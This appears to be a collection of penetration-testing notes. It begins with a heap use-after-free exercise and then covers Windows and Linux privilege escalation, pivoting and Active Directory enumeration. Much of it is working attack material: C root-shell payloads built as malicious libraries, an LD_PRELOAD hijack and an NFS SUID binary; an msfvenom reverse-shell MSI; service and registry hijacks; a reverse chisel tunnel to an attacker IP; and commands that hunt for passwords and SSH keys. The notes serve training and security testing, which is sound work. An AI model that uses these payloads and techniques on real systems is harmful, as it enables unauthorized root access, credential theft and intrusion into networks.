		if(strncmp(input, "register ", 9) == 0) 
		{
     			user = malloc(sizeof(struct User));
      			if(strlen(input + 9) < 31) 
      			{
        			strcpy(user->Username, input + 9);
        			user->IsLoggedIn = 0;
      			}
    		}
    		
    		if(strncmp(input, "login", 5) == 0)
    		{
    			printf("Login successful. \n");
    			user->IsLoggedIn = 1;
    		}
    		
    		if(strncmp(input, "logout", 6) == 0)
    		{
    			free(user);
    		}
    		
    		if(strncmp(input, "service ", 8) == 0)
    		{
    			srv = malloc(sizeof(struct Service));
      			if(strlen(input + 8) < 31) 
      			{
        			strcpy(srv->Name, input + 8);
      			}
      			
      			printf("Executing service...\n");
    			if(srv == NULL)
    			{
    				printf("Error: Service does not exists.\n");
    			}
    			else if(srv->IsEnabled)
    			{
    				printf("Service successfully executed.\n");
    				break;
    			}
    			else
    			{
    				printf("Error: Service is not enabled.\n");
    			}		
    		}
	}
	return 0;
}

Our goal is to successfully get to the "Service successfully executed." message.

Looking at the above code, we see that there are two structs - User and Service - with essentially the same memory layout. This programme appears to be some sort of a simple user/service manager. At first glance, we can register a new user with a given username, log into that user, log out of that user and create and attempt to run a service.

Let's see what happens, if we run the program as intended:

We witness an error telling us that the service has not been enabled. Hmm, let's take a closer look at the Service struct. It is comprised of a 32 character name and a flag telling us whether or not the service has been enabled. Furthermore, we notice that the User struct has essentially the same memory layout. Now, this could serve as an attack surface if we manage to force the program to allocate two of those structs - the User and the Service - in the same memory space.

When a heap chunk is freed, if a new chunk of the exactly same size is requested in a reasonable time-frame, malloc will return a pointer to that original freed chunk. Most of the data that was present in this chunk will then still remain intact and could corrupt the new chunk.

What we need is to set the IsEnabled member of the service to 1. Putting the code under scrutiny, we realise that we can freely control the IsLoggedIn member of the user through the login command. Furthermore, we can actually delete a user by invoking logout. Hmm... the Service and User structs have the same size... I wonder what would happen if I were to create a service right after I have logged out of a user. Well, let's find out!

Well, well, well, would you look at that! The service was successfully executed. But what happened?

We first created a user with register. Upon logging into the user with login, the IsLoggedIn member was set to 1. With logout, the user was deleted and the chunk on the heap was freed. However, the chunk data isn't completely overwritten (only the fwd and bwd pointers are). Consequently, the location where IsLoggedIn was stored on the heap still contains a 1. When we call service, memory was requested from the heap. Since the size was the same as the size before, malloc returned the chunk where the User struct was previously stored. Ergo, the IsEnabled member is actually stored at the same memory where IsLoggedIn was. However, we already put a 1 into that memory with login. Ergo, IsEnabled is set to 1 and the service is executed.

Post Exploitation

Introduction

Methodology

Once you have gained access to a system, it is paramount to look for other credentials which may be located on the system. These may be hidden in the Windows Registry, within log or configuration files, and more. Moreover, you should check to see if any credentials you have previously found work with anything else.

You should also check if you have access to the Windows SYSTEM or SAM files or any of their backups, since those will contain the hashes for users on the system. If so, you might be able to perform a pass-the-hash attack or simply crack them.

If the compromised system is a Windows Server, you should look for any stored credentials which can be used with RunAs.

You should check the Windows build and version, see if there are any kernel exploits available. You should then move onto enumerating misconfigurations in services and other Windows-specific vectors.

If none of these bear any fruit, you should look at the programmes installed on the system, enumerate them for misconfigurations, explore their versions and any exploits which may be available. If none are found, you might consider reverse engineering and binary exploitation as a last resort.

Finally, if you have gained access as a local administrator, you should proceeding to looking for ways to bypass UAC.

In essence:

1. Credentials

   • Reused Credentials
   • Credentials in Configuration or Log files
   • Credentials in the Windows Registry
   • Credentials from Windows SAM and SYSTEM files
   • Pass-the-hash attacks
   • Stored Credentials (Windows Servers)

2. Kernel Exploits

3. Misconfigurations

   • Services
   • AutoRuns
   • Startup Applications
   • Scheduled Tasks
   • AlwaysInstallElevated Group Policy

4. Bypassing UAC

Introduction

Windows Services allow for the creation of continuously running executable applications. These applications have the ability to be automatically started upon booting, they may be paused and restarted, and they lack a user interface.

In order for a service to function properly, it needs to be associated with a system or user account. There are a few common built-in system accounts that are used to operate services such as LocalService, NetworkService, and LocalSystem. The following table describes the default secure access rights for accounts on a Windows system:

Moreover, a registry entry exists for each service in HKLM\SYSTEM\CurrentControlSet\Services.

Enumeration

In general, manual enumeration of Windows services is a rather cumbersome process, so I suggest that you use a tool for automation such as WinPEAS.

winpeas.exe servicesinfo

The permissions a user has on a specific service can be inspected via the AccessChk Windows Utility.

acceschk.exe /accepteula -uwcqv <account> <service> 

Insecure Service Permissions

This is a technique which leverages misconfigurations in the service permissions for a specific user. If permissions for a specific user differ from the ones described in the table here, then they may manifest as a possible vulnerability.

To identify such services, it is useful to use WinPEAS.

It appears that user has write access to the service daclsvc and can also start the service. We can query the service to see what user account is actually executing it:

sc qc <service>

It appears that the service is running as LocalSystem which is an account with more privileges than our user account. If we can write to the service, then we can alter its configuration and change the path to the executable which is supposed to be run:

sc config <service> binpath="\"<path>\""

All we now need to do is setup a listener and run the service:

net start <service>

And we get a system shell back:

Unquoted Service Paths

This is a vulnerability which can be used to force a misconfigured service to execute an arbitrary programme in lieu of its intended one, as long as the path to that executable contains spaces. On its own, this does not allow for privilege escalation, but it becomes a really powerful tool when the misconfigured service is set to run with system privileges.

Let's take a look at the following path:

C:\Program Files\Vulnerable Service\service.exe

If this path was specified to the service in quotation marks, "C:\Program Files\Vulnerable Service\service.exe", then Windows will treat it correctly, executing the service.exe file in the C:\Program Files\Vulnerable Service directory.

However, Windows is not the sharpest tool in the box and if the path is provided without quotation marks, then it will see ambiguity in what it is supposed to execute. The path will be split at each space character - the first segment will be treated as the executable's name and the rest will be seen as command-line arguments to be passed to it. So at first, Windows will try to execute the following:

C:\Program.exe Files\Vulnerable Service\service.exe

Once Windows determines that the C:\Program.exe file does not exist, it will look for the next space character, treat the characters up to it as the new path and try to execute it again:

C:\Program Files\Vulnerable.exe Service\service.exe

Now, this is process is recursive until a file is successfully executed or the end of the path has been reached. If we are able to create a malicious executable in any of the possible paths that Windows will traverse, then we can hijack the service before the intended file is found.

Once you have identified a vulnerable service, you can query to confirm that the path is indeed unquoted.

Let's check our access to the possible directories that will be probed by Windows:

accesschk.exe /accepteula -uwdq <directory>

While we cannot write within the C:\ or C:\Program Files directories (meaning that we cannot create C:\Program.exe or C:\Program Files\Unquoted.exe), we do have write access to C:\Program Files\Unquoted Path Service\. What this entails is our ability to create a Common.exe binary inside this directory and, since the initial path was unquoted, the path C:\Program Files\Unquoted Path Service\Common.exe will be probed before C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe and once Windows finds our malicious executable there, it will be executed with the service's permissions.

If we couldn't restart the service, then we could have simply waited for something else to execute it.

Weak Registry Permissions

As previously mentioned, each service is associated with a registry entry in the Windows Registry which is located at HKLM\SYSTEM\CurrentControlSet\Services\<service>. This entry is essentially the configuration of the service and if it is writable, then it can be abused by an adversary to overwrite the path to the binary application of the service with a malicious one.

Querying regsvc reveals that it is running with system privileges and its registry entry is writable by all logged-on users (NT AUTHORITY\INTERACTIVE).

All we need to do now is overwrite the ImagePath registry key in the service's entry to point to our malicious executable:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service> /v ImagePath /t REG_EXPAND_SZ /d <path> /f

Restart the service and catch the shell:

net start regsvc

Introduction

The binary application executed by a service is considered insecure when an adversary has write access to it when they shouldn't. This means that an attacker can simply replace the file with a malicious executable. If the service is configured to run with system privileges, then those privileges will be inherited by the attacker's executable!

All we need to do is simply replace the legitimate executable with a malicious one and then start the service.

Introduction

Windows Scheduled Tasks allow for the periodic execution of scripts. These can be manually enumerated via the following command:

schtasks /query /fo LIST /v 

A scheduled task is of interest when it is executed with elevated privileges but we have write access to the script it executes.

This script is fairly simple, so we can just append a line to it which executes a malicious executable.

When the time for the scheduled task comes, we will catch an elevated shell.

Introduction

Windows has a group policy which, when enabled, allows a user to install a Microsoft Windows Installer Package (.msi file) with elevated privileges. This poses a security risk because an adversary can simply generate a malicious .msi file and execute it with admin privileges.

In order to check for this vulnerability, one need only query the following registry keys:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

The AlwaysInstallElevated policy appears enabled, so we can generate a malicious .msi executable. One way to do this is through Metasploit:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o reverse.msi

Next, transfer the executable to the target machine and execute it with msiexec:

msiexec /quiet /qn /i <path>

Introduction

User Account Control (UAC) is a security measure introduced in Windows Vista which aims to prevent unauthorised changes to the operating system. It ensures that any such changes require the assent of the administrator or a user who is part of the local administrators group.

Administrative privileges in Windows are a bit different from those in Linux. Even if an adversary manages to execute some code from an administrator account, this code will not run with elevated privileges, unless it was "run as Administrator"-ed.

When an unprivileged user attempts to run a programme as administrator, they will be prompted by UAC to enter the administrator's password.

However, if the user is privileged (they are an administrator), they will still be prompted with the same UAC prompt, but it will ask them for consent in lieu of a password. Essentially, an administrative user will need to click "Yes" instead of typing their password.

What is described so far is the default behaviour. UAC, however, has different protection levels which can be configured.

Now there are 3 (two of the options are the same but with different aesthetics) options. The first option, and the most strict, is Always Notify. If UAC is set to this, then any programme which tries to run with elevated privileges will beget a UAC prompt - including Windows built-in ones.

Next is the default setting - Notify me when application try to make changes to my computer. Under this configuration, regular applications will still cause a UAC prompt to show up whenever run as administrator, however, Windows built-in programmes can be run with elevated privileges without such a prompt. Following is another option which is the exact same as this one, but the UAC prompt will not dim the screen. This is useful for computers for which dimming the screen is not exactly a trifling task.

Finally, the Never Notify means that a UAC prompt will never be spawned no matter who is trying to run the application with elevated privileges.

UAC can be bypassed if an adversary already has access to a user account which is part of the local administrators group and UAC is configured to the default setting.

Bypassing UAC

There are many tools for bypassing UAC and which one is to be used depends on the Windows build and version. One such tool which has lots of methods for bypassing UAC is UACMe. You will need to build it from source using Visual Studio, meaning that you will need a Windows machine in order to compile it.

Introduction

Kernel exploits are one of the most trivial privilege escalation paths available. One of the first things you should do when seeking for a privilege escalation vector is to look at the kernel version as well as any installed patches and determine if it is vulnerable to a known kernel exploit.

Plenty of exploits can be found just by searching up the kernel version, but a cheat sheet which I like can be found here.

Naturally, the exploitation of a kernel exploit is highly specific on a case-by-case basis. Once you have identified that the system is vulnerable to a known kernel exploit, you will need to find the exploit code.

Introduction

AutoRun application are programmes which have been set up to automatically execute when a user logs in for the first time after booting the system. This is typically done so that the application can look for updates and update itself if necessary. For example, Steam, Spotify, and Discord, all set this up upon installation.

On its own, this does not pose a security risk. Where the real vulnerabilities lies is within AutoRuns which are writable by anyone.

AutoRuns can be enumerated by querying the registry:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Now all we need to do is generate the malicious executable and replace the AutoRun programme with it. Note that in order for the exploit to work, an administrator would need to log in.

Now, as soon as the administrator logs in, we will get an elevated shell.

Introduction

Windows Access Tokens are objects which describe the security context in which a thread or process is run. The information within an access token identifies the user and their privileges of said process or thread. Upon each successful user log-on, an access token for the user is generated and every process executed by this user will contain a copy of this token called the primary token.

This token is used by the system to inspect the privileges of the process when the process tries to interact with something which may require certain privileges. However, threads of the process are allowed to use a second token, called an impersonation token, to interact with objects as if they had a different security context and different privileges. This is only allowed when the process has the SeImpersonatePrivilege.

As with UAC bypassing, exploiting token impersonation is highly dependent on the Windows build and version. However, the most infamous exploits are the Potato exploits.

Introduction

Windows Servers have capabilities to store credentials using a built-in utility called cmdkey. On its own, cmdkey is rather useless to an adversary - you can only really use it to list what credentials are stored but not actually reveal them.

cmdkey /list

The real deal is another built-in utility called Runas. It allows one user to execute a binary with the permissions of another and, what is essential here, this can be achieved with only stored credentials. One doesn't even need to know what the credentials are - so long as a user has their credentials stored, then they can be used to execute programmes as that user.

runas /savedcred /user:<user> <path to programme>

Introduction

Windows Startup applications are very similar to AutoRun Programmes, however, they are executed every time a user logs in. If we can write to the Startups directory, then we can place a malicious executable there which will be executed upon the next login. If the next user to log in is an administrator, then we will gain elevated privileges.

To check for write access to the Startups directory, we can use accesschk:

C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

All we need to do is place a malicious executable in the directory and wait for an admin to log in.

Methodology

The first thing you need to do after gaining a foothold on a machine is to look for reused credentials. You should try every password you have gathered on all users, you never know when you might find an easy escalation to root.

Next, you should hunt down sensitive files and look for stored credentials in configuration and source files of different applications. Naturally, you should also enumerate any local databases you find. Additionally, SSH keys are something to be on the lookout for.

You should also go through the bash history and look for any passwords which were passed as command-line arguments.

You should then move on to looking for exploits. Kernel exploits are really low-hanging fruit, so you should always check the kernel version. Subsequently, proceed by enumerating sudo and the different ways to exploit it, for example via Shell Escape Sequences or LD_PRELOAD.

Following, you should proceed by tracking down any misconfigurations such as excessive capabilities or SUID Binaries. You should check if you have write access to any sensitive files such as /etc/passwd or /etc/shadow, as well as any cron jobs or cron job dependencies.

Ultimately, you should move on to enumerating running software and services which are executed as root and try to find vulnerabilities in them which may allow for privilege escalation.

This can all be summed up into the following:

1. Credentials

   • Reused Credentials
   • Credentials in Configuration or Source Files
   • Credentials from Databases
   • Credentials in Sensitive Files
   • Credentials from Bash History
   • SSH Keys

2. Exploitation

   • Kernel Exploits
   • Sudo

3. Misconfigurations

   • Excessive Capabilities
   • SUID/SGID Binaries
   • Write Access to Sensitive Files
   • Writable Cron Jobs and Cron Job Dependencies

4. Installed Software

   • Vulnerabilities in Software and Services Running as Root

Introduction

The Set Owner User ID (SUID) and Set Group ID (SGID) are special permissions which can be attributed to Linux files and folders. Any files which are owned by root and have SUID set will be executed with elevated privileges. Our goal is to hunt down those files and abuse them in order to escalate our privileges. This can be easily done with the following command:

find / -perm -u=s -type f -user root 2>/dev/null

Exploiting Misconfigured Common Binaries

You should diligently inspect the list of files returned. Some standard Linux binaries may allow for privilege escalation if they have the SUID bit set for one reason or another. It is useful to go through these binaries and check them on GTFOBins.

In the above example, we find that /bin/systemctl has the SUID bit set and that it also has an entry in GTFOBins:

By following the instructions, although with slight modifications, we can run commands with elevated privileges:

Privilege Escalation via Shared Object Injection

Some binaries may be vulnerable to Shared Object (SO) Injection. This typically stems from misconfigurations where the binary looks for a specific library in a specific directory, but can't actually find it. If we have write access to this directory, we can hijack the search for the library by compiling our own malicious library in the place where the original one was supposed to be. This is quite similar to escalating via LD_PRELOAD, but it is a bit more difficult to find and exploit.

You will first need to identify an SUID binary which has misconfigured shared libraries. A lot of the times the binary will refuse to run, saying that it is missing a particular library, however, this is not always the case:

It is always good practice to run the programme with strace, which will print any attempts of the binary to access libraries:

strace <binary> 2>&1 | grep -iE "open|access"

What stands out in particular is the /home/user/.config/libcalc.so library, since /home/user/.config/ may be a writable directory. It turns out that the directory doesn't even exist, however, we can write to /home/user/ which means that we can create it.

What now remains is to compile a malicious library into libcalc.so.

#include <uinstd.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject()
{
	setuid(0);
	setgid(0);
	system("/bin/bash -i");
}

For older versions of GCC, you may need to use the _init() function syntax:

#include <uinstd.h>
#include <stdlib.h>

void _init()
{
	setuid(0);
	setgid(0);
	system("/bin/bash -i");
}

Compile the malicious library:

gcc -shared -fPIC -o libcalc.so libcalc.c # add -nostartfiles if using _init()

Privilege Escalation via Path Hijacking

Path Hijacking refers to the deliberate manipulation of environmental variables, most commonly \$PATH, such that the invocations of programmes in a binary actually refer to malicious binaries and not the intended ones.

This vector requires more sophisticated digging into the internals of an SUID binary, specifically tracking down the different invocations the binary performs. This can commonly be achieved by running strings on the binary, but you will probably have to resort to more serious reverse engineering, as well. Specifically, you want to be on the lookout for shell commands which get executed by the SUID binary.

Hijacking Relative Paths

Relative paths are comparably easy to hijack - they require little other than editing the \$PATH variable. Once you have identified a shell command within an SUID binary which invokes another programme via a relative path, you can just prepend to the \$PATH a directory which will contain an executable with the same name as the one originally invoked.

Let's compile our own malicious binary.

#include <uinstd.h>
#include <stdlib.h>

int main()
{
	setuid(0);
	setgid(0);
	system("/bin/bash -i");

	return 0;
}

gcc -o /tmp/service /tmp/service.c

Afterwards, we need to prepend /tmp to the \$PATH variable:

export PATH=/tmp:\$PATH

And finally, run the original SUID binary:

Hijacking Absolute Paths

Absolute paths require a bit more work to be hijacked.

Luckily, bash turns out to be very sophisticated and allows for the creation of functions which have the forward slash (/) character in their name. This means that we can create a malicious bash function with the same name as the absolute path we want to hijack and then our function will be invoked in lieu of the original programme.

First, create the bash function:

function <absolute path here>() { cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p; }

Next, export the function:

export -f <absolute path here>

Finally, run the original SUID binary:

Introduction

The compromised machine may be configured to allow certain directories to be mounted by other machines. You can enumerate such directories by running the following command on the victim machine:

cat /etc/exports

You can additionally verify this from your attacker machine by running:

showmount -e <victim IP>

If there is a mountable directory which is configured as no_root_squash, as is the case here, then it can be used for privilege escalation.

We begin by mounting the target directory from the victim to a directory on our machine:

sudo mount -o rw, vers=3 <victim IP>:/tmp /tmp/root_squash

Now, if no_root_sqaush is configured for the mountable directory, then the root user on the attacker machine will get mirrored on the victim machine. In essence, any command run as root on the attacker machine, will also be executed as root on the victim! This can allow us to create a malicious binary in the mounted directory and set its SUID bit from the attacker machine. This action will be mirrored by the victim and we will essentially have an SUID binary on the target which is all under our control.

Let's write a simple malicious C executable:

#include <uinstd.h>
#include <stdlib.h>

int main()
{
	setuid(0); // Set user ID to root
	setgid(0); // Set group ID to root
	system("/bin/bash -i"); // Execute bash now with elevated privileges

	return 0;
}

It doesn't matter if you create it on the target or the attacker machine, but you must compile it on the target machine in order to avoid library version mismatches:

gcc -o nfs_exploit nfs_exploit.c

Next, you want to change the ownership of the compiled binary to root on the attacker machine. Afterwards, you want to set the SUID bit on the binary, once again, from the attacker machine:

sudo chown root:root nfs_exploit
sudo chmod +s nfs_exploit

Finally, execute the malicious binary on the target:

Introduction

The kernel is the layer which sits between applications and the hardware. It runs with root privileges, so if it gets exploited, privileges can be escalated. Finding kernel vulnerabilities and writing exploits for them is no trifling task, however, once such a vulnerability is made public and exploit code for it is developed, it easily becomes a low-hanging fruit for escalating privileges.

A very useful list of kernel exploits found to date is located here.

Finding already existing exploits is really easy - just search for the Linux kernel version!

Exploiting the Kernel

As an example, we are going to exploit dirtyc0w. This was a very ubiquitous exploit and can still be found on numerous outdated machines. The exploit itself has many versions but for demonstration purposes we are going to use the one at https://www.exploit-db.com/exploits/40839.

We need to first verify that our kernel version is in the vulnerable range.

Inside the exploit we see compilation instructions, which is typical of kernel exploits as they are usually written in C:

By compiling and running the exploit (it may actually take some time to execute), we have elevated our privileges!

Introduction

Linux capabilities provide a way for splitting permissions into small units. A binary with particular capabilities can perform certain tasks with elevated privileges. If capabilities are not properly set, or if they are excessive, this may lead to privilege escalation.

Binaries with capabilities may be found using the following command:

getcap / -r 2>/dev/null

A list of all possible capabilities can be found here.

In the above example, we can see that the python interpreter can arbitrarily set the user ID of the process. This means that we can change our user ID to 0 when running python, thus escalating our privileges:

Introduction

The LD_PRELOAD environment variable can be used to tell the dynamic linker to load specific libraries before any others.

By default, programmes run with sudo will be executed in a clean, minimal environment which is specified by env_reset when running sudo -l. However, env_keep may be used to inherit some environment variables from the parent process.

If LD_PRELOAD is specified together with env_keep, then we can compile our own malicious dynamic library and set LD_PRELOAD to it. Therefore, when we execute a binary with sudo, our library will be loaded before any other library and its initialisation function will be invoked with root permissions.

Writing the Malicious Library

Writing the library is a fairly simple task. All we need to do is write an _init function in a C file. This procedure will contain the code we want to be executed when the library is loaded.

#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init()
{
	unsetenv("LD_PRELOAD"); // Unset LD_PRELOAD to avoid an infinite loop
	setgid(0); // Set root permissions
	setuid(0); // Set root permissions
	
	system("/bin/bash");
}

We begin by unsetting the LD_PRELOAD variable from the environment. This is to preclude an infinite loop when /bin/bash is invoked. If our library didn't unset LD_PRELOAD, then when /bin/bash is called, our library will again be loaded first and then proceed onto launching /bin/bash yet again, which will again load our library and so on.

The next two lines set the user and group IDs to those of root which ensures that the next commands are run with root privileges.

Finally, system is called in order to spawn a bash shell.

We now need to compile this file as a shared library:

gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles

At last, we can invoke any binary with sudo and specify the path to our library as LD_PRELOAD. Note that the path to the library must be specified as an absolute path.

Introduction

It is common to see a low-privileged user to be configured to be able to run some commands via sudo without a password.

Luckily, many existing programmes for Linux have advanced capabilities which allow them to do many things such as spawning a shell when run with sudo. If such a programme is configured in the aforementioned way, then there is a shell escape sequence which is a (usually) simple command/argument passed to the programme when run, so that it spawns a shell with elevated privileges when run with sudo.

Naturally, these shell escape sequences are programme-specific and it would be inane to try and remember the sequence for every binary. This is where GTFOBins comes in. This is a database of commands (including shell escape sequences) for common Linux binaries which can be used for escalating privileges.

We saw in the above list provided by sudo -l that we are allowed to run find as root via sudo. Let's check if there is a shell escape sequence for it.

There is! We can copy and paste it, then run it with sudo, and we should at last have a root shell:

Another example can be given with the awk binary, which we also saw in the list provided by sudo -l.

Introduction

Pivoting is the act of establishing access to internal resources on a network through a compromised machine. This allows an adversary to exifltrate local data which is usually not accessible from the outside world. Moreover, it permits the use of hacking tools as if they were running from inside the network.

Introduction

Chisel is an open-source application for port tunneling. You can get it from https://github.com/jpillora/chisel. Clone the repo and follow the installation instructions.

In order to port tunnel with chisel, you need to have a copy of the binary on both the attacking and the compromised machines.

Creating a reverse tunnel

Run the following command on the attacking machine:

chisel server -p [Listen Port] --reverse &

This will setup a chisel server on Listen Port.

On the compromised systenm run:

chisel client [Attacker IP]:[Listen Port] R:[Local Host]:[Local Port]:[Remote Host]:[Remote Port] &

This will endeavour to connect to a chisel server at the specified Attacker IP and Listen Port. Once it has connected to the remote chisel server, the chisel server will open Remote Port on the Remote Host and tunnel it to the Local Port of Local Host. From now on, any traffic sent to Remote Port on the Remote Host will be forwarded to the Local Port of Local Host.

Chisel also defines some defaults for these values, which means you can omit some of them:

Local Host - 0.0.0.0 Remote Host - 0.0.0.0 (server localhost)

As an example, suppose you start a chisel server on your attacking machine (10.10.10.189) on port 1337, and want to gain access to port 3306 on the compromised machine. On the attacking machine you run:

chisel server -p 1337 --reverse &

On the compromised system you will run:

chisel client 10.10.10.189:1337 R:localhost:3306:localhost:31337 &

The above basically translates to "Forward any traffic intended for port 31337 localhost on my attacking machine to port 3306 on the localhost of the compromised system".

Introduction

SSH Tunneling is a port forwarding technique which uses SSH. It can be used to access internal resources within a network if you have SSH access to a host inside it. Additionally, the tunnel goes through a pre-existing SSH connection and can thus be utilised for bypassing firewalls.

Local Port Forwarding

Local port forwarding is used when you want to create a bridge to a port that hosts an internal service which does not accept connections from outside the network. For this to work, you need to specify two ports - one for the service on the remote machine which you want to access and one on your local machine to create the listener on. Any packets sent to your machine on the local port will be tunneled to the port on the remote machine through the SSH connection. Whilst you will still receive any responses to requests you send through the tunnel, you won't be able to receive arbitrary data that gets sent to the remote port.

The syntax is fairly simple:

ssh -L [LOCAL_IP:]LOCAL_PORT:DESTINATION:DESTINATION_PORT SSH_SERVER

• [LOCAL_IP:] - the interface you want to open the listener on. This can be omitted and defaults to localhost.
• LOCAL_PORT - the port you want to start the listener on. Any traffic sent to this port will be forwarded through the tunnel.
• DESTINATION - the destination host. This does not need to (and most likely won't) match SSH_SERVER, since you are now trying to access an internal resource.
• DESTINATION_PORT - the port on the remote machine, that you want to access through the tunnel.

You can also add -N -f to the above command, so that ssh runs in the background and only opens the tunnel without giving an interface for typing commands.

We have now established a tunnel on my Kali machine's port 8080, which will forward any traffic to 192.168.129.137:1337, which is my ubuntu server. So let's see if we can access the web page.

Wait, what? We just created the tunnel, but it does not seem to work? Well, remember how the DESTINATION does not need to match the server's IP? This is because the DESTINATION is where the traffic is sent after it gets to the remote machine. In a sense, the remote machine is now the sender and not us. Therefore, in order to access a resource internal to the network, we would need to change DESTINATION to something like localhost or another computer's IP.

Let's again check to see if we have access to the resource hidden behind localhost:1337 on the Ubuntu server...

Remote Port Forwarding

Remote port forwarding is sort of the reverse of local port forwarding. A tunnel is opened and any traffic sent to the tunnel port on the remote machine will be forwarded to the local machine. In the exact same way as above, once the traffic is tunneled, the local machine becomes the sender. Therefore, remote port forwarding is more useful when you want to receive traffic from inside the network, rather than injecting it. You will be able to actively receive any data that is sent to the remote port, but you won't be able to send arbitrary data through the tunnel yourself.

The syntax is also very similar:

ssh -R [REMOTE:]REMOTE_PORT:DESTINATION:DESTINATION_PORT SSH_SERVER

• [REMOTE:] - the remote host to listen on. This resembles the LOCAL_IP when local port forwarding and can be omitted. If left empty, the remote machine will bind on all interfaces
• REMOTE_PORT - the port on the remote machine that is part of the tunnel.
• DESTINATION:DESTINATION_PORT - the host and port that the traffic should be sent to once it gets from the remote machine back to the local machine

Once again, you can add -N -f to the command, so that ssh runs in the background and only opens the tunnel without giving an interface for typing commands.

Introduction

Plenty of automated tools can be found for enumerating Windows machines. They are a bit more diverse than those available for Linux - there are precompiled binaries (.exes) available, but there are also PowerShell scripts and many more.

Windows Enumeration with WinPEAS

WinPEAS is an incredible tool for enumerating Windows machines. It comes in two flavours - .bat and .exe. It doesn't really matter which one you are going to run - both will do the job just fine - however, the .exe file requires .Net version 4.5.2 or later to be installed on the machine.

Enumerating system information:

winpeas.exe systeminfo

Enumerate System Information

systeminfo

Enumerate Patches

wmic qfe

Enumerate Drives

wmic logicaldisk get caption,description,providername

Introduction

There are plenty of tools which can be used for automating post-exploitation enumeration on Linux machines.

Linux Enumeration with LinPEAS

LinPEAS is an amazing tool for automation enumeration. It is written in Bash which means that it requires no additional dependencies and can be freely run. In order to acquire the latest version of LinPEAS, run the following command:

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

By default, running LinPEAS will perform many checks on the system and spit out a deluge of information. However, the tool can also be used to only perform specific tasks using the -o argument.

Enumerate system information:

./linpeas.sh -o system_information

Enumerate containers on the machine:

./linpeas.sh -o container

Enumerate cloud platforms:

./linpeas.sh -o cloud

Enumerate available software:

./linpeas.sh -o software_information

Enumerate processes, cronjobs, services, and sockets:

./linpeas.sh -o procs_crons_timers_srvcs_sockets

Enumerate network information:

./linpeas.sh -o network_information

Enumerate user information:

./linpeas.sh -o users_information

Enumerate interesting files:

./linpeas.sh -o interesting_files

List Network Interfaces and Network Information

Get a list of the network interfaces connected to the machine with their IPs and MACs:

ip a

Get a list of the machines that the victim has been interacting with (print the ARP table):

ip neigh

List Open Ports

netstat -ano

Finding Files Containing Passwords

Find all files in a directory which contain "pass" or "password", ignoring case:

grep --color=auto -rnw '<dir>' -ie "password\|pass" --color=always 2>/dev/null

Find all files in a directory which contain "pass" or "password" in their name, ignoring case:

find / -name "*pass*" 2>/dev/null

Finding SSH Keys

find / -name id_rsa 2>/dev/null

Introduction

System enumeration is a crucial, typically first, step in the enumeration phase of post-exploitation.

Enumerating the Distribution Version

cat /etc/issue

Enumerating Linux Kernel Version Information

uname -a

cat /proc/version

Enumerating CPU Architecture

lscpu

Enumerating Running Services

ps aux

File System Enumeration

List files owned by a certain user in a directory:

find <dir> -user <user name> 2>/dev/null

List files owned by a certain user in a directory (without /proc):

find <dir> -user <user name> 2>/dev/null | grep -v "/proc"

List files owned by a certain group in a directory:

find <dir> -group <group name> 2>/dev/null

find <dir> -group <group name> 2>/dev/null | grep -v "/proc" # ignore /proc

Enumerate User Name and Group

whoami

id

Enumerate Commands Runnable as Root

sudo -l

List Users on the Machine

cat /etc/passwd

Get History of Commands the User Has Run

history

Active Directory (AD)

Overview

PowerView is a PowerShell tool for the enumeration of Windows domains. The script can be downloaded from https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1.

Before running, you need to bypass PowerShell's execution policy:

powershell -ep bypass

Load the script using

. .\PowerView.ps1

Normally, you'd be running these commands through some sort of shell, but for the sake of simplicity, I will show them all run locally.

Get Domain Information

Get-NetDomain

Get Domain Controller Information

Get-NetDomainController

Retrieve Domain Policy Information

Get-DomainPolicy

You can also get information about a specific policy with the following syntax:

(Get-DomainPolicy)."policy name"

Get Users Information

Get-NetUser

The output of this command is rather messy, but you can pull specific information with the following syntax:

Get-NetUser | select <property>

However, there is an even better way to do that.

Get User Property Information

Get a specific properties of all the users:

Get-DomainUser -Properties <property1>,<property2>,...

It is useful to always have the samaccountname as the first property selected, so that you can easily match properties with specific users.

Get Domain Machines

Get-DomainComputer | select samaccountname, operatingsystem

Get Groups

Get-NetGroup | select samaccountname, admincount, description

Get Group Policy Information

Get-NetGPO | select <property1>,<property2>,...

Additional Resources

https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters/powerview

Overview

Bloodhound is a tool used for finding relationships and patterns within data from an Active Directory environment. It is run on the attacker's machine and accessed through a web interface. Bloodhound operates on data and this data comes from a collector which is executed on the target machine.

Setup

1. Install Bloodhound

sudo apt install bloodhound

2. Configure neo4j - Bloodhound relies on a different tool called neo4j. It is best to change its default credentials.
   • run neo4j

   sudo neo4j console
   

   • open the link it gives you and use the credentials neo4j:neo4j to login
   • change the password

Collecting Data for Bloodhound

Data is obtained through a collector. There are different ones available. You can get SharpHound from the Bloodhound GitHub repo - https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1.

Start neo4j and bloodhound:

sudo neo4j console

sudo bloodhound

Run the collector on the target machine:

powershell -ep bypass

. .\SharpHound.ps1

Invoke-BloodHound -CollectionMethod All -Domain <domain> -ZipFileName <output file>

Now, move the files to the attacker machine.

Viewing the Data

In Bloodhound, on the right you should see a button for Upload Data. Select the previously obtained zip file and wait for Bloodhound to process it.

In the top left, click on the three dashes and you should see a summary of the data imported:

Finding Relationships in the Data

Through the analysis tab, you can see a bunch of pre-made queries. Their names are usually self-describing. Clicking on any of them will generate a particular graph expressing a specific relationship within the AD environment:

You are also able to create custom queries.

Introduction

